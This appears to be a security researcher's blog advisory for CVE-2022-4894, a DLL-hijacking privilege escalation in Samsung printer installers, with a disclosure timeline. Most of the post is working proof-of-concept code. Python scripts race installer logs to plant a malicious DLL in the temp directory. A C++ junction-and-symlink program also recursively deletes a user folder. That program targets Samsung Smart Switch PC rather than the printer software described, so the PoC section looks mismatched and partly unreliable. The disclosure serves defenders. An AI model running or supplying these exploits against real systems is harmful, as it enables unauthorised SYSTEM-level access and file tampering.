Home CVE-2022-4894: Certain HP and Samsung printer software - Potential elevation of privileges
Post
Cancel

CVE-2022-4894: Certain HP and Samsung printer software - Potential elevation of privileges

0x01: Details

0x02: Test Environment

  • Samsung Universal Print Driver3 for Windows : 3.00.13.00
  • Samsung Scan To PC Lite for Windows : 1.2.14.0
  • Samsung Printer Setup Program for Windows : 1.0.0.32
  • Samsung Printer Diagnostics for Windows : 1.0.4.29
  • OS : Windows 10 Pro 64-bit 21H2 (build 19044.1889)

0x03: Vulnerability details

DLL hijacking vulnerability in Samsung Printer Softwares allow attacker to execute arbitrary code.

0x04: Technical description

Samsung Printer Diagnostics

The Samsung Printer Diagnostics installer operates with Administrator privileges. The program writes logs to the location C:\Users\%Username%\AppData\Local\Temp\RemoteDiagnosis.exe.log. The log format is as follows:

1
2
3
4
5
6
7
8
9
10
11
////////////////////////////////////////////////////////////
//                                                        //
//          Silent Installer             //
//                                                        //
////////////////////////////////////////////////////////////

Data : 2022,08,31
...
[18:36:11]  Get Properties [COMMAND]: [Latest_Universal\setup.exe] [54]
[18:36:11]  [RunExecute] Command Line = [C:\Users\%Username%\AppData\Local\Temp\33791f\Latest_Universal\setup.exe] , wait time = -1, Working Directory = [C:\USERS\%Username%\APPDATA\LOCAL\TEMP\33791F\LATEST_UNIVERSAL]
...

Log file contains the path to the directory where the dll files are to be loaded.

Example: C:\Users\%Username%\AppData\Local\Temp\{Random_STRING}\LATEST_UNIVERSAL

The Samsung Printer Diagnostics installer loads cscapi.dll from this directory. This dll file is loaded after installation is complete. For this reason, the dll hijacking succeeds by looking for that Random_STRING in the log file and copying the dll to the C:\Users\%Username%\AppData\Local\Temp\{Random_STRING}\LATEST_UNIVERSAL directory. Since this dll is loaded with Administrator privileges, it can be elevated with SYSTEM privileges.



Samsung Printer Setup Program

The Samsung Printer Setup Program installer operates with Administrator privileges. The program writes logs to the location C:\Users\%Username%\AppData\Local\Temp\SamsungPrinterInstaller.exe.log. The log format is as follows:

1
2
3
4
5
6
7
8
9
10
11
////////////////////////////////////////////////////////////
//                                                        //
//          Silent Installer             //
//                                                        //
////////////////////////////////////////////////////////////

Data : 2022,08,31
...
[20:07:06]  Success to Extract
[20:07:06]  Get Properties [COMMAND]: [Latest_WIA\SPNTInst.exe] [48]
[20:07:06]  [RunExecute] Command Line = [C:\Users\%Username%\AppData\Local\Temp\86b53a\Latest_WIA\SPNTInst.exe] , wait time = -1, Working Directory = [C:\USERS\%Username%\APPDATA\LOCAL\TEMP\86B53A\LATEST_WIA]

Log file contains the path to the directory where the dll files are to be loaded.

Example: C:\Users\%Username%\AppData\Local\Temp\{Random_STRING}\Latest_WIA

The Samsung Printer Setup Program installer loads DPAPI.DLL from this directory. This dll file is loaded after installation is complete. For this reason, the dll hijacking succeeds by looking for that Random_STRING in the log file and copying the dll to the C:\Users\%Username%\AppData\Local\Temp\{Random_STRING}\Latest_WIAdirectory. Since this dll is loaded with Administrator privileges, it can be elevated with SYSTEM privileges.



Samsung Universal Print Driver3

Many DLLs are loaded from the directory where the Samsung Universal Print Driver installer file SamsungUniversalPrintDriver3_V3.00.13.00.exe is located. If these DLLs are not in the directory, DLLs are loaded from the C:\Windows\SysWOW64 directory. Among these Dlls, TextShaping.dll is loaded, and this DLL load is done with Administrator privileges. So, by placing TextShaping.dll in the directory where the Samsung Universal Print Driver installer file is located, you can gain SYSTEM privileges by abusing Administrator privileges.



Samsung Scan To PC Lite

The Samsung Scan To PC Lite installer operates with Administrator privileges. This installer loads ${MUI_HELPER}.DLL as the installation proceeds. This dll is loaded from the directory registered in the user environment variable, but the %USERPROFILE%\AppData\Local\Microsoft\WindowsApps directory among the user environment variables can be accessed by normal users, so an attacker can abuse the administrator’s privileges. Eventually, dll hijacking can be used to elevate to SYSTEM privileges.

Note: %Username% must be replaced with the account name of the user logged into Windows.

0x05: Proof-of-Concept (PoC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <windows.h>
#include <wchar.h>
#include <string>
#include "NtDefine.h"

DWORD LastError = 0;
void SetLastErr(DWORD err) {
	LastError = err;
}

std::wstring BuildNativePath(std::wstring path) {
	if (path.rfind(L"\\", 0) != std::wstring::npos) {
		return path;
	}
	path = L"\\??\\" + path;
	return path;
}

HANDLE OpenDirectory(std::wstring directory, DWORD access_mask, DWORD share_mode, DWORD creation_disposition) {
	directory = BuildNativePath(directory);
	HANDLE h;
	OBJECT_ATTRIBUTES objattr;
	UNICODE_STRING target;
	IO_STATUS_BLOCK io;
	NTSTATUS status;
	_RtlInitUnicodeString(&target, directory.c_str());
	InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
	switch (creation_disposition) {
	case CREATE_NEW:
		status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
			FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
		break;
	case OPEN_EXISTING:
		status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
			FILE_OPEN, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
		break;
	default:
		status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
			FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);

	}
	if (status != STATUS_SUCCESS) {
		SetLastErr(_RtlNtStatusToDosError(status));
		return NULL;
	}
	return h;
}

bool CreateMountPoint(std::wstring dir, std::wstring target, std::wstring printname) {
	HANDLE hdir = OpenDirectory(dir, GENERIC_WRITE, ALL_SHARING, OPEN_ALWAYS);
	target = BuildNativePath(target);
	size_t targetsz = target.size() * 2;
	size_t printnamesz = printname.size() * 2;
	size_t pathbuffersz = targetsz + printnamesz + 12;
	size_t totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
	REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)_malloca(totalsz);
	memset(rdb, 0, totalsz);
	rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
	rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
	rdb->Reserved = NULL;
	rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
	rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
	memcpy(rdb->MountPointReparseBuffer.PathBuffer, target.c_str(), targetsz + 2);
	rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
	rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
	memcpy(rdb->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printnamesz + 2);
	DWORD cb = 0;
	bool ret = DeviceIoControl(hdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, nullptr, NULL, &cb, NULL) == TRUE;
	_NtClose(hdir);
	return ret;
}

HANDLE CreateNativeSymlink(std::wstring link, std::wstring target) {
	HANDLE ret;
	UNICODE_STRING ulnk;
	UNICODE_STRING utarget;
	NTSTATUS status;
	_RtlInitUnicodeString(&ulnk, link.c_str());
	_RtlInitUnicodeString(&utarget, target.c_str());

	OBJECT_ATTRIBUTES objattr;
	InitializeObjectAttributes(&objattr, &ulnk, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

	NTSTATUS stat = _NtCreateSymbolicLinkObject(&ret, SYMBOLIC_LINK_ALL_ACCESS,
		&objattr, &utarget);

	if (stat != STATUS_SUCCESS) {
		SetLastErr(_RtlNtStatusToDosError(stat));
		return nullptr;
	}
	return ret;
}

DWORD DeleteAllFiles(LPCWSTR szDir, DWORD recur) {
	HANDLE hSrch;
	WIN32_FIND_DATA wfd;
	DWORD res = 1;

	TCHAR DelPath[MAX_PATH];
	TCHAR FullPath[MAX_PATH];
	TCHAR TempPath[MAX_PATH];

	lstrcpy(DelPath, szDir);
	lstrcpy(TempPath, szDir);
	if (lstrcmp(DelPath + lstrlen(DelPath) - 4, L"\\*.*") != 0) {
		lstrcat(DelPath, L"\\*.*");
	}

	hSrch = FindFirstFile(DelPath, &wfd);
	if (hSrch == INVALID_HANDLE_VALUE) {
		if (recur > 0) RemoveDirectory(TempPath);
		return -1;
	}

	while (res) {
		wsprintf(FullPath, L"%s\\%s", TempPath, wfd.cFileName);

		if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY) {
			SetFileAttributes(FullPath, FILE_ATTRIBUTE_NORMAL);
		}

		if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
			if (lstrcmp(wfd.cFileName, L".")
				&& lstrcmp(wfd.cFileName, L"..")) {
				recur++;
				DeleteAllFiles(FullPath, recur);
				recur--;
			}
		}
		else {
			DeleteFile(FullPath);
		}

		res = FindNextFile(hSrch, &wfd);
	}

	FindClose(hSrch);

	if (recur > 0) RemoveDirectory(TempPath);

	return 0;
}

void NtInit() {
	LoadLibrary(L"ntdll.dll");
	HMODULE hm = GetModuleHandle(L"ntdll.dll");
	_RtlInitUnicodeString = (ULONG(WINAPI*)(PUNICODE_STRING, PCWSTR))GetProcAddress(hm, "RtlInitUnicodeString");
	_RtlNtStatusToDosError = (ULONG(WINAPI*) (NTSTATUS Status))GetProcAddress(hm, "RtlNtStatusToDosError");
	_NtCreateSymbolicLinkObject = (NTSTATUS(WINAPI*)(
		OUT PHANDLE             pHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN PUNICODE_STRING      DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
	_NtCreateFile = (NTSTATUS(WINAPI*)(
		PHANDLE            FileHandle,
		ACCESS_MASK        DesiredAccess,
		POBJECT_ATTRIBUTES ObjectAttributes,
		PIO_STATUS_BLOCK   IoStatusBlock,
		PLARGE_INTEGER     AllocationSize,
		ULONG              FileAttributes,
		ULONG              ShareAccess,
		ULONG              CreateDisposition,
		ULONG              CreateOptions,
		PVOID              EaBuffer,
		ULONG              EaLength))GetProcAddress(hm, "NtCreateFile");
	_NtClose = (NTSTATUS(WINAPI*)(HANDLE Handle))GetProcAddress(hm, "NtClose");
}

int main() {
	NtInit();

	std::wstring UserProfilePath = std::wstring(_wgetenv(L"USERPROFILE"));

	std::wstring LinkFile = L"CRMData.db";
	std::wstring LinkDirectory = UserProfilePath + std::wstring(L"\\AppData\\Roaming\\Samsung\\Smart Switch PC");
	std::wstring TargetFile = L"C:\\Windows\\system.ini";

	std::wstring RpcControl = L"\\RPC Control";
	std::wstring RpcControlFile = RpcControl + L"\\" + LinkFile;

	std::wstring ParentDirectory = UserProfilePath + std::wstring(L"\\AppData\\Roaming\\Samsung");
	if (GetFileAttributesW(ParentDirectory.c_str()) != INVALID_FILE_ATTRIBUTES) {
		DeleteAllFiles(ParentDirectory.c_str(), 1);
	}

	CreateDirectoryW(ParentDirectory.c_str(), NULL);

	if (!CreateMountPoint(LinkDirectory, RpcControl, L"Junction")) {
		std::cout << "[-] RPC Control Junction Failed" << std::endl;
		exit(0);
	}
	std::cout << "[+] RPC Control Junction Success" << std::endl;

	HANDLE hFile = CreateNativeSymlink(RpcControlFile, BuildNativePath(TargetFile));
	if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
		std::cout << "[-] CreateNativeSymlink Failed" << std::endl;
		exit(0);
	}
	std::cout << "[+] CreateNativeSymlink Success    Handle : " << hFile << std::endl;
	std::cout << "[+] CreateSymlink Success" << std::endl;
	std::wcout << L"[+] " << (LinkDirectory + L"\\" + LinkFile) << L" -> " << TargetFile << std::endl;
	std::cout << "Press ENTER to exit and delete the symlink" << std::endl;
	getchar();

	return 0;
}

main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#pragma once
#include <Windows.h>

#define     SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
#define     STATUS_SUCCESS            0x00000000
#define     OBJ_CASE_INSENSITIVE      0x00000040L
#define 	FILE_OPEN                 0x00000001
#define 	FILE_OPEN_IF              0x00000003
#define 	FILE_CREATE               0x00000002
#define 	FILE_DIRECTORY_FILE       0x00000001
#define 	FILE_DIRECTORY_FILE       0x00000001
#define 	FILE_OPEN_REPARSE_POINT   0x00200000

#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
#define GENERIC_READ_WRITE GENERIC_READ|GENERIC_WRITE
#define InitializeObjectAttributes( p, n, a, r, s ) {    \
    (p)->uLength = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->hRootDirectory = r;                             \
    (p)->uAttributes = a;                                \
    (p)->pObjectName = n;                                \
    (p)->pSecurityDescriptor = s;                        \
    (p)->pSecurityQualityOfService = NULL;               \
}

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG Flags;
            WCHAR PathBuffer[1];
        } SymbolicLinkReparseBuffer;
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR PathBuffer[1];
        } MountPointReparseBuffer;
        struct {
            UCHAR  DataBuffer[1];
        } GenericReparseBuffer;
    } DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
    ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG uLength;
    HANDLE hRootDirectory;
    PUNICODE_STRING pObjectName;
    ULONG uAttributes;
    PVOID pSecurityDescriptor;
    PVOID pSecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

ULONG(WINAPI* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
ULONG(WINAPI* _RtlNtStatusToDosError)(NTSTATUS Status);
NTSTATUS(WINAPI* _NtCreateFile)(
    PHANDLE            FileHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK   IoStatusBlock,
    PLARGE_INTEGER     AllocationSize,
    ULONG              FileAttributes,
    ULONG              ShareAccess,
    ULONG              CreateDisposition,
    ULONG              CreateOptions,
    PVOID              EaBuffer,
    ULONG              EaLength);
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
    OUT PHANDLE             pHandle,
    IN ACCESS_MASK          DesiredAccess,
    IN POBJECT_ATTRIBUTES   ObjectAttributes,
    IN PUNICODE_STRING      DestinationName);
NTSTATUS(WINAPI* _NtClose)(
    HANDLE Handle
    );

NtDefine.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# python 3.8.2
import os
import shutil
import getpass

USER_NAME = getpass.getuser()
LOG_FILE = f'C:\\Users\\{USER_NAME}\\AppData\\Local\\Temp\\SamsungPrinterInstaller.exe.log'
DLL_NAME = 'DPAPI.DLL'


def checkFile(path : str) -> str:
    while True:
        if os.path.exists(path):
            try:
                with open(path, 'r', encoding='utf-16le') as f:
                    data = f.read()
                    slice_index = data.rfind(r'Latest_WIA\SPNTInst.exe')
                    if slice_index == -1:
                        continue

                    slice_data = data[:slice_index + len('Latest_WIA')]
                    temp_path = slice_data[data.find('= [')+3:]
                    return temp_path
            except:
                continue


if __name__ == '__main__':
    if os.path.exists(LOG_FILE):
        os.remove(LOG_FILE)

    temp_path = checkFile(LOG_FILE)
    print('[+] Found Log File')

    dll_path = temp_path
    dll_path += '\\' + DLL_NAME

    shutil.copy(DLL_NAME, dll_path)
    print('[+] DLL Copy Success')

poc_Samsung Printer Setup Program.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# python 3.8.2
import os
import shutil
import getpass

USER_NAME = getpass.getuser()
LOG_FILE = f'C:\\Users\\{USER_NAME}\\AppData\\Local\\Temp\\RemoteDiagnosis.exe.log'
DLL_NAME = 'cscapi.dll'


def checkFile(path : str) -> str:
    while True:
        if os.path.exists(path):
            try:
                with open(path, 'r', encoding='utf-16le') as f:
                    data = f.read()
                    slice_index = data.rfind(r'Latest_Universal\setup.ex')
                    if slice_index == -1:
                        continue

                    slice_data = data[:slice_index + len('Latest_Universal')]
                    temp_path = slice_data[data.find('= [')+3:]
                    return temp_path
            except:
                continue


if __name__ == '__main__':
    if os.path.exists(LOG_FILE):
        os.remove(LOG_FILE)

    temp_path = checkFile(LOG_FILE)
    print('[+] Found Log File')

    dll_path = temp_path
    dll_path += '\\' + DLL_NAME

    shutil.copy(DLL_NAME, dll_path)
    print('[+] DLL Copy Success')

poc_Samsung Printer Diagnostics.py

  1. Use Visual Studio 2022.
  2. Compile the project in the exploit directory in x86 Release mode.
  3. Rename the compiled dll to {DLL_NAME} and place it in the same directory as poc.py(Only when necessary).
  4. Run poc.py(Only when necessary)
  5. Run Installer File.

0x06: Credit information

HeeChan Kim (@heegong123) of TeamH4C

0x07: TimeLine

  • 2022/09/01 : First time contacted via Samsung Mobile Security.
  • 2022/09/01 : I received a response stating that this vulnerabilities are managed by HP.
  • 2022/09/18 : I reported vulnerabilities to HP.
  • 2023/08/02 : The vulnerabilities have been patched, and CVE-2022-4894(PSR-2022-0147) has been issued.

0x08: Reference

This post is licensed under CC BY 4.0 by the author.

CVE-2023-30673: Possible to delete arbitrary directory vulnerability in Smart Switch PC

CVE-2023-41929: Samsung Card-UFD Authentication Utility for Windows Installer Local Privilege Escalation